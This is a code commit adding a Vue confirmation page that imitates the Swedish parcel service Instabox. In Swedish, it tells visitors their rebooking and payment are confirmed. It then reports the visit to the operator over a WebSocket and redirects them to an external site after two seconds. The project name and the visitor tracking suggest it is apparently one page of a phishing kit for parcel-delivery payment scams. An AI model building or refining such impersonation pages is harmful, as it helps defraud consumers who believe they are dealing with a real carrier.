update
This commit is contained in:
telangpu
203
a4_se_post_instabox/src/views/SuccessView.vue
Normal file
203
a4_se_post_instabox/src/views/SuccessView.vue
Normal file
@@ -0,0 +1,203 @@
|
||||
<script setup lang="ts">
|
||||
import { onMounted } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { myWebSocket, redirectToExternal } from "@/utils/common";
|
||||
|
||||
onMounted(() => {
|
||||
// 发送 WebSocket 统计事件，标识到达成功页
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "success" },
|
||||
})
|
||||
);
|
||||
|
||||
// 模拟处理并自动跳转
|
||||
setTimeout(() => {
|
||||
redirectToExternal();
|
||||
}, 2000);
|
||||
|
||||
localStorage.setItem("route", "success");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="ibx-success-wrapper">
|
||||
<div class="ibx-header-line"></div>
|
||||
|
||||
<div class="container">
|
||||
<div class="status-card">
|
||||
<div class="icon-section">
|
||||
<div class="check-badge">
|
||||
<svg viewBox="0 0 24 24" class="check-svg">
|
||||
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41L9 16.17z" fill="currentColor"/>
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<p class="ibx-eyebrow">Instabox bekräftelse</p>
|
||||
<h1 class="ibx-title">Din ombokning är bekräftad</h1>
|
||||
|
||||
<div class="info-box">
|
||||
<p class="ibx-desc">
|
||||
Din betalning har registrerats och din försändelse behandlas nu vidare i Instabox-nätverket. Du får snart en uppdatering med leveransstatus och nästa steg.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="redirect-footer">
|
||||
<div class="brt-loader"></div>
|
||||
<p class="helper-text">Du skickas vidare automatiskt...</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="ibx-footer-note">
|
||||
<p>© Instabox Sweden AB</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.ibx-success-wrapper {
|
||||
background: linear-gradient(180deg, #f7f8f8 0%, #ffffff 240px);
|
||||
min-height: 85vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.ibx-header-line {
|
||||
width: 100%;
|
||||
height: 6px;
|
||||
background-color: #e9004c;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 600px;
|
||||
width: 100%;
|
||||
padding: 60px 20px;
|
||||
}
|
||||
|
||||
.status-card {
|
||||
background-color: #ffffff;
|
||||
padding: 50px 40px;
|
||||
border-radius: 18px;
|
||||
border: 1px solid #f0f0f0;
|
||||
box-shadow: 0 16px 40px rgba(0, 0, 0, 0.06);
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.icon-section {
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.check-badge {
|
||||
background-color: #e9004c;
|
||||
color: white;
|
||||
width: 72px;
|
||||
height: 72px;
|
||||
border-radius: 50%;
|
||||
display: inline-flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.check-svg {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
}
|
||||
|
||||
.ibx-eyebrow {
|
||||
margin: 0 0 10px;
|
||||
color: #e9004c;
|
||||
font-size: 12px;
|
||||
font-weight: 800;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.ibx-title {
|
||||
color: #222222;
|
||||
font-size: 30px;
|
||||
font-weight: 800;
|
||||
margin-bottom: 20px;
|
||||
letter-spacing: -0.5px;
|
||||
}
|
||||
|
||||
.info-box {
|
||||
background-color: #fcfcfc;
|
||||
border: 1px solid #efefef;
|
||||
border-radius: 12px;
|
||||
padding: 20px;
|
||||
margin: 30px 0;
|
||||
}
|
||||
|
||||
.ibx-desc {
|
||||
font-size: 16px;
|
||||
color: #555555;
|
||||
line-height: 1.6;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.redirect-footer {
|
||||
margin-top: 40px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 15px;
|
||||
}
|
||||
|
||||
.brt-loader {
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
border: 3px solid #f0f0f0;
|
||||
border-top: 3px solid #e9004c;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
.helper-text {
|
||||
font-size: 14px;
|
||||
color: #999999;
|
||||
font-style: normal;
|
||||
}
|
||||
|
||||
.ibx-footer-note {
|
||||
margin-top: 25px;
|
||||
text-align: center;
|
||||
font-size: 11px;
|
||||
color: #aaaaaa;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
/* 响应式适配移动端 */
|
||||
@media (max-width: 480px) {
|
||||
.status-card {
|
||||
padding: 35px 20px;
|
||||
border-radius: 16px;
|
||||
}
|
||||
|
||||
.ibx-title {
|
||||
font-size: 24px;
|
||||
}
|
||||
|
||||
.ibx-desc {
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.container {
|
||||
padding-top: 30px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
Reference in New Issue
Block a user